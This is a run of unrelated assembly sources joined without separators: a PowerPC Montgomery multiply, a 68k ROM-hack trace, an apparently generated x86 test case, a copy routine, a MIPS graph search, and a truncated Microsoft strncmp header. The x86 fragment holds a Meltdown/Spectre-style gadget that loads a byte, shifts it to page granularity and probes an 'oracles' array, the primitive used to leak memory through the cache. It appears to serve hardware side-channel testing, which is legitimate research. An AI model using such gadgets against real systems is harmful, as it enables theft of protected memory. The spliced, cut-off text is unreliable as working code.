C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 16(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 24(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 8(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 3 ld r14, 32(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 24(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 32(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 16(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 4 ld r14, 40(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 32(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 40(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 24(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 5 ld r14, 48(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 40(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 48(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 32(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 6 ld r14, 56(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 48(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 56(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 40(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 7 ld r14, 64(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 56(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 64(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 48(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 8 ld r14, 72(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 64(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 72(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 56(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 9 ld r14, 80(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 72(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 80(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 64(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 10 ld r14, 88(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 80(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 88(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 72(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 11 ld r14, 96(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 88(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 96(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 80(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 12 ld r14, 104(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 96(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 104(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 88(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 13 ld r14, 112(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 104(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 112(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 96(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 14 ld r14, 120(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 112(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 120(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 104(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 15 ld r14, 128(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 120(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 128(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 112(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 16 ld r14, 136(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 128(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 136(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 120(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 17 ld r14, 144(r1) C tmp[j+1] mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r14, r10 C tmp[j+1] + CY + pending carry addze r10, r16 C carry to CY mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 136(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r10 C add carry to CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word ld r0, 144(r5) C y[j+1] adde r13, r9, r14 C T1, carry pending std r8, 128(r1) C store tmp[j-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + (2^64-1)*2^64 C <= 3*2^128 - 2*2^64 - 1 ==> CY:T1 <= 3*2^64 - 3 C Pass for j = 18. Don't fetch new data from y[j+1]. mulld r8, r0, r12 C x[i]*y[j] low half adde r14, r15, r10 C T1 = tmp[len] + CY + pending carry C since tmp[len] <= 1, T1 <= 3 and carry is zero mulhdu r9, r0, r12 C x[i]*y[j] high half ld r0, 144(r6) C m[j] addc r13, r8, r13 C add low word to T0 mulld r8, r0, r11 C U*m[j] low adde r14, r9, r14 C add high to T1 addze r10, r16 C CY mulhdu r9, r0, r11 C U*m[j] high addc r8, r8, r13 C add T0 and low word adde r13, r9, r14 C T1, carry pending std r8, 136(r1) C store tmp[len-2] addze r15, r10 C store tmp[len] <= 1 std r13, 144(r1) C store tmp[len-1] C CY:T1:T0 <= 2*(2^64 - 1)^2 + (3*2^64 - 3) + 2^64 C <= 2*2^128 - 1 ==> CY:T1 <= 2*2^64 - 1 = 1:(2^64-1) bdnz 1b C Copy result from tmp memory to z ld r8, 0(r1) ldu r9, 8(r1) std r8, 0(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) ldu r9, 8(r1) stdu r8, 8(r3) stdu r9, 8(r3) ldu r8, 8(r1) stdu r8, 8(r3) mr r3, r15 C return tmp(len) ldu r16, 8(r1) ldu r15, 8(r1) ldu r14, 8(r1) ldu r13, 8(r1) addi r1, r1, 8 blr .size .GSYM_PREFIX`'mulredc19, .-.GSYM_PREFIX`'mulredc19
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 004D94 move.l D1, (A1)+ 004D96 dbra D0, $4d94 004DA0 move.w #$64, ($6e,A0) [123p+ 6C] 004DA6 move.w #$64, ($6a,A0) [123p+ 6E] 004DC8 move.w #$64, ($6e,A6) [123p+ 6C] 004DCE move.w #$64, ($6a,A6) [123p+ 6E] 004DF6 move.w #$64, ($6e,A0) [123p+ 6C] 004DFC move.w #$64, ($6a,A0) [123p+ 6E] 01077E move.w ($6c,A3), ($6e,A3) 010784 moveq #$0, D1 [123p+ 6E] 010EEC move.w ($6c,A3), ($6e,A3) 010EF2 moveq #$0, D1 [123p+ 6E] 0116C2 move.w ($6c,A3), ($6e,A3) 0116C8 moveq #$0, D1 [123p+ 6E] 011DDA move.w ($6c,A3), ($6e,A3) 011DE0 moveq #$0, D1 [123p+ 6E] 01261E move.w ($6c,A3), ($6e,A3) 012624 moveq #$0, D1 [123p+ 6E] 016B6A move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A] 016B6E move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E] 016B9E move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A] 016BA2 move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E] 016BD2 move.w ($6e,A6), (A4)+ [123p+ 6A, enemy+6A] 016BD6 move.w ($6c,A6), (A4)+ [123p+ 6E, enemy+6E] 01BF90 move.w D0, ($6e,A6) [123p+ 6C] 01BF94 move.b #$1, ($0,A6) [123p+ 6E] 048EC2 move.w ($6c,A0), ($6e,A0) 048EC8 moveq #$1c, D0 [123p+ 6E] 04EFA4 move.w ($6c,A0), ($6e,A0) 04EFAA moveq #$1c, D0 [123p+ 6E] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x2774, %r9 lfence movb (%r9), %cl nop dec %rax lea addresses_A_ht+0x175d0, %rsi lea addresses_UC_ht+0xa4d0, %rdi sub %r12, %r12 mov $48, %rcx rep movsb add $48278, %rdi lea addresses_D_ht+0x15e10, %r9 clflush (%r9) dec %rdi movb (%r9), %cl xor %r15, %r15 lea addresses_WT_ht+0x2d74, %rdi nop nop xor %rcx, %rcx movb (%rdi), %r9b nop sub %r15, %r15 lea addresses_A_ht+0xba50, %rax nop dec %r15 movw $0x6162, (%rax) nop nop nop nop cmp %r12, %r12 lea addresses_D_ht+0xba70, %rcx nop nop nop nop xor %r12, %r12 movw $0x6162, (%rcx) nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x189a4, %rsi lea addresses_A_ht+0x106e0, %rdi clflush (%rdi) xor %rdx, %rdx mov $7, %rcx rep movsb nop nop nop nop cmp %r12, %r12 lea addresses_normal_ht+0x1d4d0, %rdi xor %rax, %rax mov (%rdi), %cx lfence lea addresses_WT_ht+0x135d0, %rsi lea addresses_A_ht+0xf058, %rdi nop nop nop nop nop cmp $37959, %r15 mov $51, %rcx rep movsb nop nop add $20456, %r9 lea addresses_WT_ht+0x13750, %rax nop nop dec %rdx mov (%rax), %si nop nop add $61059, %r9 lea addresses_UC_ht+0xa1a0, %rax cmp %r9, %r9 mov $0x6162636465666768, %rcx movq %rcx, (%rax) nop nop xor $13166, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %rbp push %rsi // Faulty Load lea addresses_D+0x1bcd0, %rsi nop nop and %r14, %r14 mov (%rsi), %r10d lea oracles, %r11 and $0xff, %r10 shlq $12, %r10 mov (%r11,%r10,1), %r10 pop %rsi pop %rbp pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_D', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 11}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 6}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
include stdmacro.i _TEXT segment public pj_copy_words ;***************************************************************************** ;* void pj_copy_words(void *src, void *dst, unsigned count) ;***************************************************************************** pj_copy_words proc near Entry Args #src,#dst,#count mov eax,esi ; save esi mov edx,edi ; save edi mov esi,#src ; load source pointer mov edi,#dst ; load destination pointer mov ecx,#count ; load copy count shr ecx,1 ; adjust to dword count rep movsd ; move 'em adc ecx,ecx ; do last word (if any) rep movsw ; move it mov edi,edx ; restore edi mov esi,eax ; restore esi Exit pj_copy_words endp _TEXT ends end
.data visited:.space 8 matrix:.space 64 .macro clearMemory(%begin,%size) li $t0,0 clearMemory_loop: sb $zero,%begin($t0) addi $t0,$t0,1 bne $t0,%size,clearMemory_loop .end_macro .macro pushStack(%val) addi $sp,$sp,-4 sw %val,4($sp) .end_macro .macro popStack(%reg) addi $sp,$sp,4 lw %reg,0($sp) .end_macro .macro getMatrix(%i,%j,%reg) add $t0,$zero,%i sll $t0,$t0,3 add $t0,$t0,%j lb %reg,matrix($t0) .end_macro .macro setMatrix(%i,%j,%val) add $t0,$zero,%i sll $t0,$t0,3 add $t0,$t0,%j sb %val,matrix($t0) .end_macro .macro getInteger(%reg) li $v0,5 syscall add %reg,$zero,$v0 .end_macro .text clearMemory(matrix,64) clearMemory(visited,8) getInteger($s0) # n -> s0 getInteger($s1) # m -> s1 li $s2,0 # i li $s3,1 read_loop: getInteger($s4) getInteger($s5) setMatrix($s4,$s5,$s3) setMatrix($s5,$s4,$s3) addi $s2,$s2,1 blt $s2,$s1,read_loop li $s2,1 # current_index -> s2 li $s3,0 # vn -> s3: global outer_search_loop: add $s6,$zero,$s2 jal search addi $s2,$s2,1 blt $s2,$s0,outer_search_loop li $a0,0 j exit search: li $t0,1 sb $t0,visited($s2) addi $s3,$s3,1 beq $s3,$s0,final_check continue: li $s4,1 search_loop: lb $t0,visited($s4) bnez $t0,search_loop_update getMatrix($s2,$s4,$t0) beq $t0,$zero,search_loop_update pushStack($s2) pushStack($s4) pushStack($ra) add $s2,$zero,$s4 jal search popStack($ra) popStack($s4) popStack($s2) search_loop_update: addi $s4,$s4,1 bgt $s4,$s0,search_loop_end j search_loop search_loop_end: add $s3,$s3,-1 sb $zero,visited($s2) jr $ra final_check: getMatrix($s2,$s6,$t0) bnez $t0,exist j continue exist: li $a0,1 j exit exit: li $v0,1 syscall li $v0,10 syscall
page ,132 title strncmp.asm - compare two strings ;*** ;strcmp.asm - routine to compare two strings (for equal, less, or greater) ; ; Copyright (c) Microsoft Corporation. All rights reserved. ; ;Purpose: ; strncmp compares two strings and returns an integer ; to indicate whether the first is less than the second, the two are ; equal, or whether the first is greater than the second, respectively. ; Comparison is done byte by byte on an UNSIGNED basis, which is to ; say that Null (0) is less than any other character (1-255). ; ;******************************************************************************* .xlist include cruntime.inc .list page ;*** ;strncmp - compare two strings, returning less than, equal to, or greater than ; ;Purpose: ; Compares two string, determining their lexical order. Unsigned ; comparison is used. ; ; Algorithm: ; int strncmp ( ; const char *first, ; const char *last, ; size_t count ; ) ; { ; size_t x; ; int ret = 0 ; ; ; for (x = 0; x < count; x++) ; { ; if (*first == 0 || *first != *last) ; { ; int ret = (*(unsigned char *)first - *(unsigned char *)last); ; if ( ret 